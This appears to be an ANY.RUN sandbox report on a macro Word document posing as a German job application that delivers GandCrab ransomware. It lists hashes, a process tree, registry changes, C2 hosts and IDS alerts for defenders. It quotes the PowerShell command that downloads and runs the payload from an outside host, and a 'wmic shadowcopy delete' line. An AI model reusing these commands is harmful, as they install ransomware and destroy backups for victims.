File name:

Bewerbung_Lena_Schwarz.doc

Full analysis: https://app.any.run/tasks/f28af182-925e-45da-bdb1-5f209a6ca6a8
Verdict: Malicious activity
Threats:

GandCrab is probably one of the most famous Ransomware. A Ransomware is a malware that asks the victim to pay money in order to restore access to encrypted files. If the user does not cooperate the files are forever lost.

Malware Trends Tracker     >>>
Analysis date: December 18, 2018, 11:13:23
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
ransomware
gandcrab
loader
trojan
Indicators:
MIME: application/vnd.openxmlformats-officedocument.wordprocessingml.document
File info: Microsoft Word 2007+
MD5:

E9CE01FB0F565A95B8BF66A0FA32D11B

SHA1:

5B9B714AF457F7813BAAAD07B85C2BB8D2AE51F2

SHA256:

A75EF9B9FE8F637EEF6348F2F3AAB7F635FC0B64F383F49B06D84B54121A7A17

SSDEEP:

1536:SYzOtUwRhX/i2nR3BxHlqKOfLK8eps7B7gClU6ragbn7JJJUJJJPjGYAGDKJJJJo:F0UqX/icFBBYfWJsdLragb7JJJUJJJPL

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executes PowerShell scripts

      • cmd.exe (PID: 3036)

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 2832)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 3452)

    • Dropped file may contain instructions of ransomware

      • ctftvkegqqyvcgmqcrbbttznbxrqj.exe (PID: 2984)

    • Starts CMD.EXE for commands execution

      • WINWORD.EXE (PID: 2832)

    • Application was dropped or rewritten from another process

      • ctftvkegqqyvcgmqcrbbttznbxrqj.exe (PID: 2984)

    • GandCrab keys found

      • ctftvkegqqyvcgmqcrbbttznbxrqj.exe (PID: 2984)

    • Writes file to Word startup folder

      • ctftvkegqqyvcgmqcrbbttznbxrqj.exe (PID: 2984)

    • Actions looks like stealing of personal data

      • ctftvkegqqyvcgmqcrbbttznbxrqj.exe (PID: 2984)

    • Renames files like Ransomware

      • ctftvkegqqyvcgmqcrbbttznbxrqj.exe (PID: 2984)

    • Connects to CnC server

      • ctftvkegqqyvcgmqcrbbttznbxrqj.exe (PID: 2984)

    • Deletes shadow copies

      • ctftvkegqqyvcgmqcrbbttznbxrqj.exe (PID: 2984)

    • Changes settings of System certificates

      • ctftvkegqqyvcgmqcrbbttznbxrqj.exe (PID: 2984)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 3452)

    • Creates files in the user directory

      • powershell.exe (PID: 3452)
      • ctftvkegqqyvcgmqcrbbttznbxrqj.exe (PID: 2984)

    • Creates files in the program directory

      • ctftvkegqqyvcgmqcrbbttznbxrqj.exe (PID: 2984)

    • Creates files like Ransomware instruction

      • ctftvkegqqyvcgmqcrbbttznbxrqj.exe (PID: 2984)

    • Reads the cookies of Mozilla Firefox

      • ctftvkegqqyvcgmqcrbbttznbxrqj.exe (PID: 2984)

    • Adds / modifies Windows certificates

      • ctftvkegqqyvcgmqcrbbttznbxrqj.exe (PID: 2984)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2832)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2832)

    • Dropped object may contain Bitcoin addresses

      • WINWORD.EXE (PID: 2832)
      • powershell.exe (PID: 3452)

    • Dropped object may contain TOR URL's

      • ctftvkegqqyvcgmqcrbbttznbxrqj.exe (PID: 2984)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.docm | Word Microsoft Office Open XML Format document (with Macro) (53.6)
.docx | Word Microsoft Office Open XML Format document (24.2)
.zip | Open Packaging Conventions container (18)
.zip | ZIP compressed archive (4.1)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: 0x0006
ZipCompression: Deflated
ZipModifyDate: 1980:01:01 00:00:00
ZipCRC: 0x23cbfb46
ZipCompressedSize: 404
ZipUncompressedSize: 1511
ZipFileName: [Content_Types].xml

XML

Template: summerjam
TotalEditTime: -
Pages: 1
Words: -
Characters: 1
Application: Microsoft Office Word
DocSecurity: None
Lines: 1
Paragraphs: 1
ScaleCrop: No
Company: -
LinksUpToDate: No
CharactersWithSpaces: 1
SharedDoc: No
HyperlinksChanged: No
AppVersion: 16
Keywords: -
LastModifiedBy: User
RevisionNumber: 2
CreateDate: 2018:12:18 05:42:00Z
ModifyDate: 2018:12:18 05:50:00Z

XMP

Title: -
Subject: -
Creator: User
Description: -
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
38
Monitored processes
5
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start winword.exe no specs cmd.exe no specs powershell.exe #GANDCRAB ctftvkegqqyvcgmqcrbbttznbxrqj.exe wmic.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2828"C:\Windows\system32\wbem\wmic.exe" shadowcopy deleteC:\Windows\system32\wbem\wmic.exe—ctftvkegqqyvcgmqcrbbttznbxrqj.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
WMI Commandline Utility
Exit code:
2147749908
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\wbem\wmic.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ole32.dll
c:\windows\system32\gdi32.dll
2832"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Bewerbung_Lena_Schwarz.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
2984"C:\Users\admin\AppData\Local\Temp\ctftvkegqqyvcgmqcrbbttznbxrqj.exe" C:\Users\admin\AppData\Local\Temp\ctftvkegqqyvcgmqcrbbttznbxrqj.exe
powershell.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\ctftvkegqqyvcgmqcrbbttznbxrqj.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\msimg32.dll
3036cmd /c powErshEll(New-Object System.Net.WebClient).DownloadFile('http://topwarenhub.top/summerjam.exe','%temp%\ctftvkegqqyvcgmqcrbbttznbxrqj.exe');start %temp%\ctftvkegqqyvcgmqcrbbttznbxrqj.exeC:\Windows\system32\cmd.exe—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3452powErshEll (New-Object System.Net.WebClient).DownloadFile('http://topwarenhub.top/summerjam.exe','C:\Users\admin\AppData\Local\Temp\ctftvkegqqyvcgmqcrbbttznbxrqj.exe');start C:\Users\admin\AppData\Local\Temp\ctftvkegqqyvcgmqcrbbttznbxrqj.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
Total events
1 285
Read events
1 140
Write events
138
Delete events
7

Modification events

(PID) Process:(2832) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:{z/
Value:
7B7A2F00100B0000010000000000000000000000
(PID) Process:(2832) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(2832) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(2832) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1301413909
(PID) Process:(2832) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1301414028
(PID) Process:(2832) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1301414029
(PID) Process:(2832) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:writeName:MTTT
Value:
100B00008082A9BAC296D40100000000
(PID) Process:(2832) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:u{/
Value:
757B2F00100B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(2832) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:delete valueName:u{/
Value:
757B2F00100B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(2832) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
Executable files
1
Suspicious files
290
Text files
227
Unknown types
7

Dropped files

PID
Process
Filename
Type
2832WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR667B.tmp.cvr —
MD5:—
SHA256:—
2832WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\98BCDD9F.png —
MD5:—
SHA256:—
3452powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\NQAX2N3F8BQXMITAIQXC.temp —
MD5:—
SHA256:—
2984ctftvkegqqyvcgmqcrbbttznbxrqj.exeC:\Users\admin\.oracle_jre_usage\90737d32e3abaa4.timestamp —
MD5:—
SHA256:—
2832WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$werbung_Lena_Schwarz.docpgc
MD5:—
SHA256:—
3452powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF247139.TMPbinary
MD5:—
SHA256:—
2832WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:—
SHA256:—
2984ctftvkegqqyvcgmqcrbbttznbxrqj.exeC:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobData —
MD5:—
SHA256:—
2832WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{2C415855-4E9D-4B9A-9206-F2187737A661}.tmpbinary
MD5:—
SHA256:—
2984ctftvkegqqyvcgmqcrbbttznbxrqj.exeC:\Users\admin\AppData\Roaming\Adobe\Acrobat\DC\JSCache\GlobSettings —
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
72
TCP/UDP connections
131
DNS requests
60
Threats
35

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2984
ctftvkegqqyvcgmqcrbbttznbxrqj.exe
GET
—
78.46.77.98:80
http://www.2mmotorsport.biz/
DE
—
—
suspicious
2984
ctftvkegqqyvcgmqcrbbttznbxrqj.exe
GET
—
136.243.13.215:80
http://www.holzbock.biz/
DE
—
—
suspicious
2984
ctftvkegqqyvcgmqcrbbttznbxrqj.exe
GET
301
83.138.82.107:80
http://www.swisswellness.com/
DE
—
—
whitelisted
2984
ctftvkegqqyvcgmqcrbbttznbxrqj.exe
GET
302
192.185.159.253:80
http://www.pizcam.com/
US
—
—
malicious
2984
ctftvkegqqyvcgmqcrbbttznbxrqj.exe
GET
301
104.24.22.22:80
http://www.belvedere-locarno.com/
US
—
—
shared
2984
ctftvkegqqyvcgmqcrbbttznbxrqj.exe
GET
—
217.26.53.37:80
http://www.hrk-ramoz.com/
CH
—
—
malicious
2984
ctftvkegqqyvcgmqcrbbttznbxrqj.exe
GET
301
80.244.187.247:80
http://www.hotelfarinet.com/
GB
—
—
malicious
3452
powershell.exe
GET
200
188.142.243.84:80
http://topwarenhub.top/summerjam.exe
HU
executable
239 Kb
malicious
2984
ctftvkegqqyvcgmqcrbbttznbxrqj.exe
GET
200
217.26.53.161:80
http://www.haargenau.biz/
CH
html
13.3 Kb
malicious
2984
ctftvkegqqyvcgmqcrbbttznbxrqj.exe
POST
—
78.46.77.98:80
http://www.2mmotorsport.biz/includes/image/soheme.gif
DE
—
—
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2984
ctftvkegqqyvcgmqcrbbttznbxrqj.exe
83.138.82.107:443
www.swisswellness.com
hostNET Medien GmbH
DE
suspicious
3452
powershell.exe
188.142.243.84:80
topwarenhub.top
Liberty Global Operations B.V.
HU
suspicious
2984
ctftvkegqqyvcgmqcrbbttznbxrqj.exe
78.46.77.98:80
www.2mmotorsport.biz
Hetzner Online GmbH
DE
suspicious
2984
ctftvkegqqyvcgmqcrbbttznbxrqj.exe
217.26.53.161:80
www.haargenau.biz
Hostpoint AG
CH
malicious
2984
ctftvkegqqyvcgmqcrbbttznbxrqj.exe
74.220.215.73:80
www.bizziniinfissi.com
Unified Layer
US
malicious
2984
ctftvkegqqyvcgmqcrbbttznbxrqj.exe
136.243.13.215:80
www.holzbock.biz
Hetzner Online GmbH
DE
suspicious
2984
ctftvkegqqyvcgmqcrbbttznbxrqj.exe
138.201.162.99:80
www.fliptray.biz
Hetzner Online GmbH
DE
malicious
2984
ctftvkegqqyvcgmqcrbbttznbxrqj.exe
83.138.82.107:80
www.swisswellness.com
hostNET Medien GmbH
DE
suspicious
2984
ctftvkegqqyvcgmqcrbbttznbxrqj.exe
83.166.138.7:443
www.whitepod.com
Infomaniak Network SA
CH
malicious
2984
ctftvkegqqyvcgmqcrbbttznbxrqj.exe
69.16.175.42:80
www.hardrockhoteldavos.com
Highwinds Network Group, Inc.
US
malicious

DNS requests

Domain
IP
Reputation
topwarenhub.top
  • 188.142.243.84
  • 89.17.225.163
  • 95.158.162.200
  • 213.214.95.88
  • 2.89.137.57
  • 78.90.243.124
  • 92.86.0.85
  • 143.208.165.41
  • 212.237.112.81
  • 46.238.18.157
malicious
www.2mmotorsport.biz
  • 78.46.77.98
unknown
www.haargenau.biz
  • 217.26.53.161
unknown
www.bizziniinfissi.com
  • 74.220.215.73
malicious
www.holzbock.biz
  • 136.243.13.215
unknown
www.fliptray.biz
  • 138.201.162.99
malicious
www.pizcam.com
  • 192.185.159.253
unknown
www.swisswellness.com
  • 83.138.82.107
whitelisted
www.hotelweisshorn.com
  • 212.59.186.61
unknown
www.whitepod.com
  • 83.166.138.7
whitelisted

Threats

PID
Process
Class
Message
1060
svchost.exe
Potentially Bad Traffic
ET DNS Query to a *.top domain - Likely Hostile
3452
powershell.exe
A Network Trojan was detected
ET CURRENT_EVENTS SUSPICIOUS Firesale gTLD EXE DL with no Referer June 13 2016
3452
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Suspicious loader with tiny header
3452
powershell.exe
Potentially Bad Traffic
ET INFO HTTP Request to a *.top domain
3452
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3452
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
3452
powershell.exe
Misc activity
ET INFO Possible EXE Download From Suspicious TLD
2984
ctftvkegqqyvcgmqcrbbttznbxrqj.exe
A Network Trojan was detected
ET POLICY Data POST to an image file (gif)
2984
ctftvkegqqyvcgmqcrbbttznbxrqj.exe
A Network Trojan was detected
ET TROJAN [eSentire] Win32/GandCrab v4/5 Ransomware CnC Activity
2984
ctftvkegqqyvcgmqcrbbttznbxrqj.exe
A Network Trojan was detected
MALWARE [PTsecurity] Win32/GandCrab Ransomware CnC Activity
No debug info
Interactive malware hunting service ANY.RUN
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Reports
Bewerbung_Lena_Schwarz.doc